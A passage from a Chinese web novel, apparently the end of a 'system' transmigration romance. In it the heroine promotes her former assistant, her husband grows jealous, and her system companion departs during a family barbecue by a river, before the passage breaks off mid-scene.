“不多。”时墨摇摇头,一脸认真道,“你的能力值这个价。而且你放弃国外的高薪回来帮我,我总不能亏待你。等你做出成绩了,我还给你涨工资,给你分股份。” “还有。”时墨顿了下,继续说,“你先在我身边熟悉三个月业务,三个月后,正式升任集团副总,主管投资和影视制片。地产和矿业那边,你也可以帮着时昀分担。” 谢时昀剥虾的手猛地一顿,锋利的虾壳划破了指尖,渗出一点血珠。他没察觉,只是看着时墨,心里五味杂陈。 副总。 整个集团的二把手。 时墨居然把这么重要的位置,直接给了刚回来的刘巍。 “时墨,这不行!”刘巍连忙摆手,“副总这个位置太重要了,我刚回来,对公司业务还不熟悉,直接当副总,大家会不服气的。” “有什么不服气的。”时墨摆摆手,一脸理所当然,“能力说了算。你的能力我最清楚,以前你跟着我的时候,事情都办得妥帖。现在你又在国外学了这么多,肯定能胜任。至于服不服气,你用实力证明给他们看就行。要是真有人不服,让他们来找我。” 刘巍看着时墨坚定的眼神,沉默了几秒,郑重地点点头:“好。谢谢你时墨,我一定不会辜负你的信任。” “跟我客气什么。”时墨笑了笑,转头看到谢时昀指尖的血珠,惊呼一声,“时昀,你手破了!” 她拿起桌上的纸巾,拉过他的手,小心翼翼地帮他擦去血珠:“怎么这么不小心?剥个虾都能划破手。” 指尖传来时墨温热的触感,谢时昀心里的醋意和不安,瞬间被这一点暖意冲淡了不少。他看着她低头认真的样子,轻声说:“没事,一点小伤,不疼。” “都流血了还说不疼。”时墨横了他一眼,从包里拿出创可贴,给他贴上,“以后小心点。” “好。”谢时昀点点头,反手握住她的手,眼底满是温柔。 刘巍坐在对面,看着这一幕,端起面前的黄酒杯,仰头喝了一大口。温热的酒液顺着喉咙滑下去,却在胃里烧出一片冰凉。 饭局散的时候,已经是晚上九点多。 三个人走出菜馆,晚风的凉意扑面而来。 时墨裹紧了大衣,谢时昀立刻把围巾解下来,绕在她脖子上,多绕了一圈,把她的半张脸都埋了进去。 “我不冷。”时墨瓮声瓮气地说。 “晚上风大,别感冒了。”谢时昀的手在她脖子上停留了一瞬,才收回来,“明天降温,多穿点。” “哦。” 刘巍站在台阶下,看着两人之间那些细密的、旁人插不进去的互动,眼底闪过一丝苦涩。 门童把车开过来,谢时昀拉开副驾驶的门,等时墨坐进去,又等刘巍在后面坐好,他才发动车子,打开暖风。 车子平稳地行驶在夜晚的街道上,路灯的光影透过车窗,在三人脸上明明灭灭。 时墨坐在副驾驶,没一会儿就困得打哈欠,头一点一点的,靠在座椅上睡着了。 车里只剩下两人的呼吸声。 谢时昀透过后视镜,看了一眼坐在后座的刘巍,语气平淡却带着警告:“刘巍,墨墨性子单纯,她信任你,把你当自己人,我希望你不要辜负她的信任。” 刘巍迎上他的目光,毫不示弱:“谢总放心,我和时墨认识这么多年,我比谁都希望她好。我回来,就是为了帮她实现梦想,我绝不会做任何伤害她的事。” “那就最好。”谢时昀收回目光,专心开车,语气冷了几分,“不过有一点我要提醒你,时墨现在是我的妻子,我们感情很好。希望你能摆正自己的位置,不要做让她为难的事。” 刘巍没有说话,只是转头看向窗外,夜色里,他的眼神晦暗不明。 车子停在酒店门口,刘巍推开车门,下车之前,他看着谢时 昀,一字一句地说:“谢总,感情的事,不是靠一张结婚证就能决定的。只要时墨还没真正爱上你,我就还有机会。” 说完,他关上车门,转身走进了酒店。 谢时昀坐在驾驶座上,看着他的背影消失在酒店大堂,攥紧了方向盘。 他转头看向熟睡的时墨,伸手轻轻拂开她脸上的碎发,低声呢喃:“墨墨,你只能是我的。谁也抢不走。” 回到家,时墨洗漱完就躺在床上,很快就睡着了。 谢时昀却没有睡意。他坐在床边,看着时墨熟睡的侧脸,心里五味杂陈。 他知道时墨只是想找个人帮她分担工作,好让自己能休息,他也知道,时墨对刘巍只有上下级的信任,没有别的心思。 可他还是忍不住不安。 刘巍很优秀,也了解时墨喜好习惯。 两年前,他因为自卑不敢表白。现在他回来了,变得自信、沉稳、优秀,像一把磨好的剑,锋芒毕露。 谢时昀伸出手,轻轻抚摸着时墨的头发,眼底满是坚定。 他不会输的。 他和时墨有别人无法替代的默契和感情,刘巍再优秀,也只是后来者。 * 次日一早,时墨醒来的时候,谢时昀已经做好了早饭。 吃饭的时候,谢时昀状似不经意地问:“墨墨,你真的打算让刘巍当副总?给他这么大的权力,会不会太冒险了?” “冒险什么?”时墨咬了一口小笼包,“刘巍的能力我信得过。以前他跟着我的时候,再难的事交给他,都能办得很好。现在他又在国外镀了金,能力肯定更强了。” “这么信任他?” “他是什么人,我心里有数。” “我不是怀疑他的能力。”谢时昀斟酌着措辞,又道:“我是担心他刚回来,副总这个位置,直接给他,是不是太快了?公司里那些人,未必都服他。” “不服气就憋着。”时墨喝了一口小米粥,语气淡然,“我开公司,是看能力不是看资历。有本事的上,没本事的下。刘巍要是真的不行,不用你说,我自然会撤了他。但要是他行,谁不服都没用。” 谢时昀看着她,沉默了几秒,轻声说:“我只是怕……怕他心思不纯。” 时墨抬起头,看着他,忽然笑了:“谢时昀,你是不是吃醋了?” 谢时昀眼神躲闪了一下:“没有,我只是担心你。” 时墨看着他。 谢时昀眼神没有再躲闪,就这样直视时墨的眼睛,把所有的不安和忐忑都摊在她面前。 “谢时昀,我更信你。大方向还是要你把控,他只是帮你打下手。公司是咱们俩的,谁也抢不走。” 听到“咱们俩”三个字,谢时昀心里的不安瞬间烟消云散。 谢时昀的手指微微蜷了一下,反握住了她的手,认真道:“墨墨你放心,我一定会看好公司,也会好好带刘巍,绝不会让你失望。” “我就知道你最靠谱。”时墨笑着给她夹了个茶叶蛋,“快吃吧,一会儿该凉了。” 接下来的几天,刘巍展现出了惊人的工作能力。 他只用了三天时间,就把集团所有的业务流程、财务报表、人员架构摸得一清二楚。他每天第一个到公司,最后一个离开,办公室的灯总是亮到深夜。 他把公司近三年的所有项目资料都翻了一遍,用红色的记号笔在文件上画满了批注,哪里有问题,哪里可以优化,哪里有新的机会,都写得清清楚楚。 一周后,他把厚厚一沓《集团业务优化方案》放在了时墨和谢时昀的桌上。 方案里,从影视板块的剧本储备、艺人培养,到地产板块的项目布局、风险控制,再到矿业板块的销售渠道、海外拓展,都做了详细的规划。条理清晰,数据翔实,切入精准,很多想法都和时墨不谋而合,甚至还有不少她没想到的亮点。 “太棒了刘巍!”时墨翻完方案,越看越满意,“我就知道你能行!就按这个方案来,需要什么资源,直接跟我说,或者跟谢总说,我们全力支持你。” “谢谢时总,谢谢谢总。”刘巍笑了笑,眼里满是成就感,“我会尽快把方案落地,争取三个月内见到成效。” 谢时昀翻着方案,心里也不得不承认,刘巍确实是个人才。 但这也让他的危机感更重了。 刘巍越优秀,时墨就越依赖他。 日子一天天过去,刘巍很快就融入了公司,凭借出色的能力和谦和的态度,赢得了大部分员工的认可。 “刘总这才回来几天啊,公司的事门儿清,比之前那些助理强了不知道多少倍。” “那是时总亲自带出来的人,能差到哪去?” 时墨彻底当了甩手掌柜,每天窝在家里写剧本、看资料,偶尔去公司转一圈,听听汇报,拍板一下重大决策,剩下的时间全用来“摸鱼”。 小七在系统空间里天天欢呼:【宿主,你终于开始躺了。太棒了!早知道刘巍这么好用,早该把他弄回来。】 【人家得学成归来,你还能把人半道薅过来?】 【……】小七想说它能,但它怕说了,宿主扣它零花钱。 【嗨,以后我们就天天吃喝玩乐,享受人生!】 时墨躺在院子里的摇椅上,晒着太阳,吃着谢时昀给她剥的葡萄,一脸惬意:【是该这样,努力赚钱就是为了享受生活嘛。】 时墨现在每天没事就去淘淘古董,逛吃逛吃,开车拉狗到处溜达,过得比她妈还悠闲。 系统的“躺平”指标,终于达标了。 而谢时昀,却越来越忙。 他不仅要处理自己分管的地产和矿业业务,还要盯着刘巍的工作,生怕他出什么差错,更怕他和时墨走得太近。 即使有时墨给的定心丸,但每次看到时墨和刘巍头碰头看文件,听到时墨夸刘巍“能干”“聪明”,他心里的醋坛子就翻个不停。 每夸一次,谢时昀就在心里记一次。 记着记着,他发现自己已经记了一整本。 就像此刻,他推门进来,正撞见时墨和刘巍并肩站在窗前,刘巍正指着窗外某栋楼的方向,眉飞色舞地说着什么。时墨听得很认真,时不时点一下头。 “墨墨。”谢时昀开口,生生截断了室内的私语氛围,“快下班了,妈打电话说晚上回去吃饭,做了你爱吃的红烧排骨和油焖大虾。” 时墨被人打断思路,眉头微蹙,却又在看到谢时昀的目光时舒展开来。 “知道了。”她转头对刘巍说,“那个方案你继续写,明天早上我们再过一遍。” “好。”刘巍点了点头,退后一步,对谢时昀微微颔首算是打了招呼。 谢时昀牵着时墨的手走了。走廊里,他的手指插入她的五指中,攥紧。 时墨看了一眼两人交握的手,纳闷道:“你今天怎么了?” “没什么。” 时墨被他牵着走,心里觉得莫名其妙,却没挣开。 走廊里来来往往的员工看到这一幕,都识趣地低了头,快步走过。 当天晚上,谢时昀躺在只有他自己的床上,翻来覆去睡不着。 他盯着天花板,在心里把刘巍回来的这几天从头到尾捋了一遍。 刘巍的表现太正常了,正常到他挑不出一点毛病。他工作认真,态度端正,和同事相处融洽,对时墨恭敬有加,对他礼貌周全。 可就是太正常了。 正常得让谢时昀觉得不对劲,他肯定背后酝酿着什么坏心思。 没事,他有的是耐心。 半个月后的一天下午,刘巍从时墨办公室出来,手里拿着一份签好字的文件,脚步轻快地穿过走廊。 经过茶水间的时候,他听到里面有员工在小声议论。 “刘总回来才多久啊,就直接当副总了。时总也太信任他了吧?” “你不知道?刘总是时总一手带出来的,当年时总读书的时候刘总就在身边当助理了,后来刘总因为成绩优异出国读书,不然当时就当副总了。” “那谢总呢?谢总就不怕刘总把时总抢走?” “嘘!你小声点!这话要是让谢总听见了,你不想干了?” “谢总人看着温和,手段可不软,上次那个陈泽远,还有那个李总,什么下场你没听说?” “行了行了,别说了,干活去。” 脚步声远了。 刘巍站在茶水间门口,手里拿着文件,脸上的表情没什么变化。他站了几秒,然后转身,若无其事地走回了自己的办公室。 关上门,他把文件放在桌上,站在窗前,看着窗外的北京城。 他想起两年前离开的时候,也是这样的秋天。那时他的行李箱里装着一封录取通知书,和不敢说出口的秘密。 现在他回来了。 时墨身边的位置,迟早是他的。【..top】 第103章【完结】 第103章 日子如流水般淌过。 刘巍不负所望, 接手集团日常运营后,把各项事务打理得井井有条。那些说他“资历不够”“空降上位”的闲言碎语,在他交出一份又一份漂亮的成绩单后, 渐渐消失了。 谢时昀起初还天天泡在公司, 事事盯着, 生怕刘巍越权, 更怕他借着工作的名义黏着时墨。他每天到公司的第一件事就是翻刘巍的审批记录,可没过多久,他看着刘巍抱着一摞文件从早忙到晚,连喝水的功夫都没有,忽然就想通了。 刘巍愿意多干, 就让他干去, 干得越多,时墨就越能安心当甩手掌柜。 反正刘巍再能干也只是个打工的, 与其把时间耗在公司跟他较劲, 不如趁着这难得的空闲多陪在时墨身边,把夫妻感情培养出来。 想通了这一点, 谢时昀的心态彻底变了, 他开始有意无意地把手头不要紧的工作往刘巍那边推。 “刘巍, 城西那块地的规划方案你帮忙盯一下, 我下午要陪时墨去看展。” “刘巍, 矿业公司的季度报告你帮我审审,今晚我带墨墨出去吃饭。” “刘巍,这个影视基地的尽调你来做, 时墨说想去郊区泡温泉。” 每一次,他都用那种“这件事交给你我放心”的语气,笑容温和, 姿态大方,像个信任下属的好老板。 刘巍每次都面无表情地接过文件,嘴角抿成一条线,什么话都没说。但谢时昀注意到,他接文件的时候,指尖微微用力,纸张发出了细微的声响。 公司里的人渐渐看出了门道,茶水间的八卦风向转得飞快。 “以前谢总天天第一个到最后一个走,现在倒好,一周能来四天就不错了。” “人家那是陪老婆去了!昨天我在王府井看见他俩了,谢总手里拎着七八个袋子,全是时总的。” “时总真是好命,事业有成,老公还这么疼她。” “可不是嘛,那刘总呢?刘总也挺好啊,年轻有为,一表人才。” “再好有什么用?时总眼里只有谢总,刘总再能干也没用啊。” 这些话断断续续地传到刘巍耳朵里,他面上不显,只是批文件时笔尖重了几分。他抬头看向时墨紧闭的办公室门,眼底闪过一丝苦涩,随即又被压了下去,低头继续批改文件。 这天下午,时墨从文物局开完会出来,一眼就看见谢时昀的车停在路边。她拉开车门坐进去,副驾驶座位上赫然放着一束包装精致的小雏菊,嫩黄色的花瓣沾着水珠,清新又可爱。 “哪来的花?”她拿起花束闻了闻,随口问道。 “路过花店看见的,觉得配你。”谢时昀发动车子,嘴角弯着温柔的弧度,“晚上想吃什么?胡同口新开了一家川菜馆,听说水煮鱼特别正宗。” “谢时昀。”时墨靠在座椅上,侧头看着他,“你最近怎么老跟着我?公司不忙吗?” 谢时昀转头看了她一眼,眼底的温柔快要溢出来:“忙,但再忙也没有陪你重要。以前你常年在外,我一个人,忙就忙了。现在你好不容易闲下来,我当然要把以前没陪你的时间都补回来。” 时墨没想到他会说得这么直白,翻包的手顿了一下。车子里安静了两秒,只有发动机低沉的轰鸣声和窗外偶尔传来的自行车铃声。 “油嘴滑舌。” “我是实话实说。”谢时昀转头看了她一眼,温柔道,“墨墨,我喜欢陪着你。只要能跟你在一起,就算什么都不做,我也觉得开心。” 时墨没接话,伸手拨了拨收音机的旋钮,调到音乐台。九十年代的金曲从喇叭里流淌出来,是一首老歌,蔡琴的《恰似你的温柔》,低沉婉转的女声在车厢里回荡。 她靠在座椅上,闭上眼睛,嘴角扬起的弧度一直没有下去。 谢时昀从后视镜里看了她一眼,见她闭眼假寐,便把车速放慢了一些。 * 周末一大早,周晓娟的电话就打了过来。 “墨墨,今天天气好,咱们去河滩烧烤啊!建军新买了个烤炉,一直说要试试,正好你和谢时昀带上玄青穗穗,念念都念叨好几天要跟狗狗玩了!” 时墨看了一眼身边正在给她熬小米粥的谢时昀,笑着应了:“行啊,地址发我,我们收拾收拾就过去。” 挂了电话,她戳了戳谢时昀的后腰:“我哥约咱们去烧烤,你去不去?” 谢时昀腰间痒的躲开,放下手里的勺子:“你先吃饭,我这就去收拾东西。” 车子开了一个多小时,到了郊区的一片河滩地。时建军一家已经在了,正在支烤炉,周晓娟站在旁边,脚边放着两个鼓鼓囊囊的大袋子,里面装满了肉串、鸡翅、玉米和各种调料。 “墨墨你们来了!”周晓娟看到车子,小跑着迎上来,开心道,“快下来,你哥一大早就起来腌肉了,说今天要露一手。” 时墨下了车,伸了个懒腰。 郊外的空气带着泥土和青草的味道,远处是连绵的山,近处是哗哗的河水,阳光晒在身上暖洋洋的,让人想就地躺下。 她打开车门把玄青和穗穗放出来,穗穗像颗炮弹一样冲了出去,在草地上打了几个滚,浑身的毛沾满了草屑。玄青慢悠悠地走出来,抖了抖毛,用鼻子嗅了嗅空气,然后迈着从容的步伐,像领导视察一样巡视了一圈场地。 “念念呢?”时墨问。 “在车上睡觉呢,刚醒。”周晓娟转身从车里把女儿抱出来。小家伙三岁多,扎着两个小辫子,穿着粉色的小裙子,圆滚滚的像个糯米团子。她揉着眼睛,一脸没睡醒的迷糊样,看到时墨的瞬间,眼睛一下子亮了。 “姑姑!”念念奶声奶气叫了一声,张开两只小肉手就要扑过来。 时墨赶紧弯腰接过小家伙,掂了掂分量,笑着对周晓娟说:“又胖了,你妈给你喂什么了?是不是顿顿吃肉?” “你可别提了,就爱吃肉,青菜一口都不碰,愁死我了。”周晓娟无奈地叹气,“每顿饭都要追着喂,不喂不吃,喂了也不一定吃。” “可以把菜剁碎了混在肉馅里,给她做蔬菜饼。”时墨捏了捏念念的小脸蛋,“念念乖,姑姑下次给你做饼饼好不好?” “好!”念念脆生生地应了,小手搂着时墨的脖子不撒手,在她脸上糊了一口口水。 念念跟时墨亲热了一会儿,就被草地上跑来跑去的穗穗吸引了注意力。她扭着身子要下去,时墨把她放在草地上,对玄青说:“玄青,看好念念,别让她乱跑。” 玄青像是听懂了一样,走到念念身边蹲下来,尾巴一甩一甩的,目光警惕地扫视着四周,像个尽责的保镖。念念抓住玄青的耳朵,咯咯地笑,玄青也不恼,就那样蹲着让她抓。穗穗撒欢跑了一圈回来,在念念脚边打滚,露出白花花的肚皮,逗得念念笑个不停。 “你这俩狗真是通人性。”周晓娟看着念念和两只狗玩得开心,羡慕道。 时墨没接话,拿起一串鸡翅开始腌。她的手法很熟练,料酒、生抽、蚝油、孜然粉,一样一样地加进去,带上手套抓匀。 周晓娟在旁边串着肉串,串了几串,忽然凑过来,压低声音说:“墨墨,我问你个事儿,你别嫌我多嘴。” “什么事?”时墨头都没抬,继续给鸡翅按摩。 周晓娟左右看了看,见时建军和谢时昀在远处忙活烤炉的事,念念和狗跑远了,才凑到她耳边说:“你跟时昀结婚有四年了吧?怎么肚子一点动静都没有啊?” 时墨手里的鸡翅差点没拿稳:“晓娟,你怎么突然问这个?” “不是我想问,是妈想问。”周晓娟叹了口气,一脸“我也是被逼的”的表情,“咱妈天天在家念叨,说你们俩身体看着都挺好的,怎么就没孩子呢?又不好意思直接问你,怕你不高兴,就托我来打听打听。要是真有什么毛病,赶紧去医院看看,现在医学发达都能治。” 时墨哭笑不得,她总不能说“我们俩还没同房”吧?那她妈非得当场晕过去不可。 她面不改色地看着周晓娟道:“我们没毛病,就是没打算要。” “没打算要?”周晓娟瞪大了眼睛,声音一下子大了,又赶紧压低声音,“那怎么行?结了婚早晚都得生孩子,咱们女人就得趁年轻,恢复得快。你看念念,多可爱啊,你就一点都不心动?” 时墨把腌好的鸡翅码在盘子里,把手套脱下,靠在折叠椅上,望着远处跟狗玩得不亦乐乎的念念,语气懒洋洋的:“我们想过二人世界,不着急。时昀也是这个意思。” “真的?”周晓娟半信半疑。 “真的。”时墨面不改色,表情十分坦荡。 周晓娟盯着她看了好几秒,叹了口气,语重心长道:“那你们可得想好了,晚生不如早生。你要是拖到三十多,那就是高龄产妇了,到时候遭罪的是你自己!你看隔壁王姨家的闺女,三十三才生,生完两年都没恢复好。” “知道了。”时墨摆摆手,“您老人家就别操心了,晓娟我发现这有了孩子变磨叨了。” 周晓娟无语地拍了时墨一下:“我还不是关心你,再说我生了念念感觉生活特别幸福,当然希望你也好。” “好好好,谢谢关心哈。”时墨赶紧讨饶。 另一边,时建军和谢时昀正在烤炉前忙活。 “时昀,这炭不行啊,得再扇旺点,不然肉烤不熟。”时建军手里拿着大蒲扇,扇得满脸是灰。 “哥,我来吧,你歇会儿。”谢时昀接过蒲扇,手腕轻轻一转,炭火就旺了起来,冒出蓝色的火苗。 时建军看着他熟练的动作,啧啧两声:“行啊你,现在家务活干得比我都溜。我妹这是把你调教出来了。” 谢时昀笑了笑:“她平时写剧本累,这些活我多干点应该的。” 时建军点点头,状似不经意地问:“时昀,你身体挺好的吧?” “挺好的啊,怎么了?”谢时昀疑惑地看了他一眼。 “没什么,就是……”时建军犹豫了半天,脸上的表情变来变去,像是有话说不出口,最后还是没忍住,“那个,你跟墨墨结婚四年了,怎么还没孩子啊?是不是……” 他凑得更近了一些,声音低到只有两个人能听见:“是不是你那方面不行?” 谢时昀手里的蒲扇差点脱手:“建军,我身体好得很!” “那怎么墨墨肚子一点动静都没有?”时建军一脸怀疑地看着他,那眼神跟X光似的,恨不得把谢时昀从头到脚扫描一遍,“我跟小娟结婚第二年就有念念了。你们俩要是有什么问题,别不好意思说,哥认识好几个老中医,专门看这方面的,特别厉害!” 谢时昀在心里默念了“这是时墨的亲哥”“他是好心,关心我”,才开口道:“真不是身体的问题,是我和墨墨商量好了,暂时不要孩子,先过几年二人世界。” “二人世界?”时建军撇了撇嘴,“二人世界有什么好过的?有个孩子多热闹,你要是哪天回家晚了,孩子奶声奶气叫你一声爸爸,你怎么才回来,那滋味,比赚多少钱都舒坦。” 谢时昀没说话,给肉串刷了一层油。 “再说了,墨墨今年都二十七了,再过几年就成高龄产妇了,对身体不好。”时建军苦口婆心地劝。 “我知道。”谢时昀用夹子翻动着烤串,动作专注而认真,“这件事我听墨墨的。她想生就生,不想生我不逼她。她的身体比什么都重要。” 时建军看着他,愣了几秒,忽然笑了,拍了下他的肩膀:“行,我妹没嫁错人。” 谢时昀笑了笑。 炭火上的肉串滋滋地冒着油,香气四溢。 阳光照在河面上,波光粼粼,像撒了一层碎金子似的。 念念追着玄青在草地上跑,咯咯的笑声被风送过来,清脆得像一串铃铛。 谢时昀端着烤好的肉串走过来,金黄色的肉串上撒着孜然和辣椒面,香气扑鼻。他挑了一串烤得最漂亮的,递给了时墨。 “尝尝,我按照你说的火候烤的,你看行不行。” 时墨接过来咬了一口,肉串外焦里嫩,孜然和辣椒的香味在嘴里炸开,肉质鲜嫩多汁,火候恰到好处。她冲谢时昀竖了个大拇指,嘴里含着肉含混不清地说:“好吃,比我哥烤的好吃多了。” 时墨吃得嘴边沾上油和调料,谢时昀递了张纸巾给她,又接过她啃了一半的玉米棒子,自然地咬了一口。 时建军端着啤酒走过来,正好看到这一幕,嘴角抽了抽:“我妹那玉米跟狗啃似的,那边有新玉米,你吃那个。” 谢时昀笑了下,又咬了一口:“没事,我不嫌弃。” 时建军:“……” 正主都不嫌弃,他刚才的话纯属多余。 时墨坐在折叠椅上,阳光晒在身上暖洋洋的,河风吹过来带着水草的气息。她看着远处念念和狗在草地上疯跑,听着烤炉上肉串滋滋的声响,忽然觉得这样的日子,好像也不错。 【宿主,恭喜你!】小七的声音忽然在脑海里响起,语气里带着一丝难得的伤感。 【恭喜我什么?】 【恭喜你,完美完成了“躺平人生”任务!】小七的声音带着雀跃,又有点不舍,【系统检测到,你现在已经不是为了完成任务而躺平,而是真心享受生活。】 时墨愣了一下,手里啃玉米的动作停了。 【所以呢?】 【所以,我该走了。】小七的声音里带着一丝不舍,但更多的是释然,【系统这边的监测任务完成了,我要去带下一个宿主了。那边已经催了好几次了,我一直拖着没走,想找个合适的机会跟你说。】 时墨放下玉米,靠在椅背上,望着远处的山峦。天际线上,云层缓缓流动,阳光从云的缝隙里漏下来,在山上投下一片一片的光斑。 【你之前不是一直催我躺平吗?现在我真躺了,你倒走了。】 【那不是任务嘛!再说了,我那不是催你,我那是为你好!】小七的声音又恢复了平时那种叽叽喳喳的调子,【宿主你不知道,我之前每天看着你忙完这个忙那个,要不是有规则卡你,你一天能睡四小时不错了。现在好了,你终于学会享受生活了,我也能放心走了。】 时墨没忍住笑了:【你什么时候变得这么煽情了?】 【我一直都很煽情好不好!是你不爱听我煽情!】小七气哼哼地说,然后又软了下来,【宿主,我跟你说,我把你这边的数据都上传了。你从拼死拼活到学会躺平的全过程,主系统说这是经典案例,要给其他系统做培训材料呢。】 【那我是不是该收点版权费?】 【……宿主你真是一点没变,我会替你申请的。】小七被她噎了一下,过了几秒才继续说,【对了,我在你这边的系统里留了一个联系按键。不是任务用的,就是……就是你想找我聊天的时候,按一下,我能收到。那边的事忙完了,我会回你的。】 时墨心头忽然涌上一股说不清的感觉。这几年,小七一直在她脑子里叽叽喳喳,有时候烦得要命,有时候又帮了大忙。她已经习惯了它的存在,习惯了它的唠叨,习惯了它每天催她“宿主该睡觉了”“宿主你别作死”。 现在它忽然说要走了,还真有点舍不得。 【还有一件事。】小七的声音又正经起来,【你身上的所有限制都已经撤销了。资产限额、业务范围限制、资金流动限制,全部解除。从现在起,你没有任何束缚了。】 时墨愣了一瞬,一股从未有过的轻松感从心底升起,像是一块压了多年的石头忽然被人搬走了,全身的骨头都在那一刻舒展了开来。她靠在椅背上,深深地吸了一口气,空气里都是秋天的味道,清爽、干净,带着一丝炭火的烟火气。 小七的声音里带着笑意,【宿主,谢时昀是个好人,别老欺负人家。虽然我看他挺乐意被你欺负的,你们要好好的!我走啦!】 【我什么时候欺负他了?】时墨反驳。 【你上次让他跪着给你当脚凳的事我还记着呢。】 【……那是他自己要跪的,我又没逼他。】 【行行行,你说的对。】小七开心道,【真走了。宿主,保重。】 【等等。】时墨叫住它。 【怎么了?】 时墨沉默了两秒,弯了弯嘴角:【祝你节节高升,以后带的宿主都像我这么优秀。】 小七没说话,系统空间里安静了几秒。 【谢谢宿主。】小七的声音有点闷,像是在忍什么,【你也要好好的,别让我在那边操心。】 说完,脑子里的声音彻底消失了。 时墨坐在折叠椅上望着远山,嘴角扬起一抹释然的笑容。 “墨墨?”谢时昀的声音把她拉回来,他递过来一串烤鸡翅,仔细看了看她的脸,眉头微微皱起,“怎么了?眼睛有点红。” “沙子迷眼了。”时墨接过鸡翅,咬了一口,含混不清地说,“这鸡翅你放了多少盐?咸死了。” 谢时昀知道她在转移话题,但没有追问,只是笑了笑:“第一次烤,没经验。下次少放点。” 时墨三两口把鸡翅啃完,把骨头扔进垃圾袋里,站起身拍了拍裤子上的草屑:“我去河边走走。” 她一个人走到河边,蹲下来,把手伸进水里。秋天的河水凉丝丝的,从指缝间流淌而过,带走掌心的温度。 【小七?】她在心里叫了一声。 寂静无声。 系统空间里空空荡荡的,在没有小七活泼的声音说着:【宿主,我在!】 时墨笑了笑,把手从水里抽出来,甩了甩水珠。 从此以后,她不再是被系统绑定的任务者了。 没有任务,没有系统,没有限额,没有任何束缚。 她站起,转过身。谢时昀站在不远处,手里端着两杯茶,看到时墨转过来,笑着端茶走了过来。 时墨站在那里,看着他一步一步走近。河水哗哗地响,风从山那边吹过来,带着松针和泥土的气息。她忽然觉得,这样的日子,好像真的不错。 “怎么了?”谢时昀走到她面前,递给她一杯茶,上下打量着她。 “没什么。”时墨接过茶杯,低头喝了一口。茶是温的,不烫不凉,刚好入口。红枣的甜和桂圆的香在舌尖上化开,一直暖到胃里。 两人并肩站在河边,谁都没说话。微风吹过,把她几缕碎发吹到脸上,她还没来得及伸手,谢时昀已经帮她把头发别到耳后了。 他的指尖在她耳廓上轻轻蹭了一下,带着薄茧的触感,粗糙又温柔。时墨的耳垂被他碰到的瞬间,微微一痒,像是有电流从那一小片皮肤蔓延开来,酥酥麻麻的。 谢时昀的手没有收回去,指尖顺着她的耳廓慢慢滑下来,在她耳垂上停了一瞬,那里有一颗小小的痣,他以前没注意过,今天摸到了,忍不住用指腹来回蹭了两下。 “你这颗痣,以前没发现。”他的声音低沉道。 时墨没躲,歪头看他。 谢时昀的手指从她耳垂移到她的脸颊,又沿着她的轮廓线缓缓滑过,像在描摹一件珍贵的瓷器,怕用力了会碎,又怕不用力会错过。他的目光落在她的嘴唇上,那里的口红早就被烧烤吃没了,露出原本的唇色,淡淡的粉,在 阳光下泛着微微的光泽。 “墨墨。”他的声音又低了一些,“你今天特别好看。” 时墨看着他深邃的眼眸,故意反问:“我哪天不好看?” 谢时昀的手指停在她的下颌,轻轻抬起她的脸。他低下头,鼻尖抵着她的鼻尖,气息交缠在一起,温热地拂在她唇上。 “你哪天都好看。” 河风吹过来,带着水汽和凉意,却吹不散两个人之间那层滚烫的空气。 时墨突然踮起脚尖,在他唇角轻轻啄了一下。 谢时昀的瞳孔明显放大了,喉结上下滚动了一下。 “时墨。” “嗯。” “你知道你这样,我会忍不住的。” 时墨看着谢时昀,忽然笑了,弯弯的眼睛里映着天光云影,还有他的脸。 “谁让你忍了?” 谢时昀脑子里那根紧绷的弦,“啪”地一声断了。 他一把揽住她的腰,把她整个人拉进怀里,低头吻了下去。 这下不是时墨蜻蜓点水的吻,而是带着成年人积攒了许久、克制了多年的缠绵,谢时昀探进时墨的口中,彼此交换着对方的气息。 时墨的背抵着他的一只手臂,腰被他另一只手牢牢箍着,整个人被他圈在怀里,动弹不得。他的吻技谈不上多好,带着一股子笨拙的凶狠,像是一个渴极了的野狼终于找到了水源,拼命地汲取、吮吸,恨不得把她吞进肚子里。 时墨被他吻得喘不上气,伸手推了推他的胸口。他立刻松开,退开一点距离,额头抵着她的额头,两个人的呼吸都乱得不像话,此起彼伏地交织在一起。 “抱歉,我太——”他喘着气说,话没说完就被时墨用唇堵住了嘴。 时墨手臂勾住谢时昀的脖子,踮起脚尖,吻得比他温柔得多,像春风拂过湖面,一层一层地荡开涟漪。 远处传来时建军的喊声:“肉烤好了!你俩别在河边腻歪了!过来吃饭!” 念念也跟着喊:“姑姑!姑父!吃肉肉!” 谢时昀被那声脆生生的“姑父”叫得一愣,嘴角慢慢弯了起来,“姑父”这个称呼,怎么听怎么顺耳。 时墨松开他,退后一步,伸手擦了下嘴角。 “走吧,时间长,肉该凉了。” “嗯。”谢时昀自然地牵起她的手,一同往回走。 下午两点多,正是太阳最毒的时候,大家都钻进帐篷里午睡。 念念玩累了,躺在周晓娟怀里睡得正香,小嘴巴还一动一动的。 时墨打了个哈欠,眼皮越来越沉。温暖的午后,河水的哗哗声,烤肉的饱腹感,这些东西组合在一起,比任何安眠药都管用。 时墨钻进了另一个帐篷,阳光透过米白色的帐篷布洒进来,暖洋洋的,晒得人浑身发软。谢时昀跟在她后面钻进来,拉上拉链,在她身边躺下。 帐篷里很安静,能听到彼此的呼吸声,能听到帐篷外面河水的哗哗声,还有远处不知名的鸟叫。 “墨墨。”谢时昀侧过身,看着她。 “嗯。” “你刚才在河边,想什么呢?一个人站那儿发了好久的呆。” 时墨闭着眼睛,没有说话。她想起小七,想起那些年小七在她脑子里叽叽喳喳的声音,想起它每次急得跳脚说“宿主你不能操劳”,想起它走之前说的那句“你要好好的”。 心里忽然涌上一股莫名的怅然。 “想一个老朋友。”她睁开眼,看着帐篷顶。 谢时昀没问是谁。 “对了,上午我哥和我晓娟居然来催生,我就说他们怎么突然约咱俩出来野炊。”时墨不再想小七,岔开话说道,“我妈也是,居然让晓娟来当说客。” “我也没想到,你哥居然问我是不是那方面不行。”谢时昀躺在她身边,语气里满是无奈。 时墨转过头看他,笑得前仰后合:“四年没怀上,也难怪他们怀疑。我说想过二人世界,你呢?你跟我哥怎么说的?” “我也是这么说的。”谢时昀也忍不住笑了,“咱俩还真是心有灵犀,借口都一模一样。” 时墨转过头,看着他,眼里都是笑意。 谢时昀的心猛地一跳,他看着时墨的双眼,犹豫了一下,还是凑过去,轻声问道:“墨墨,我什么时候才能正式转正?” 他的眼神装着沉甸甸的期盼和深情,像盛满了星光的湖泊,快要溢出来了。 时墨翻身坐起,认真地端详着他。 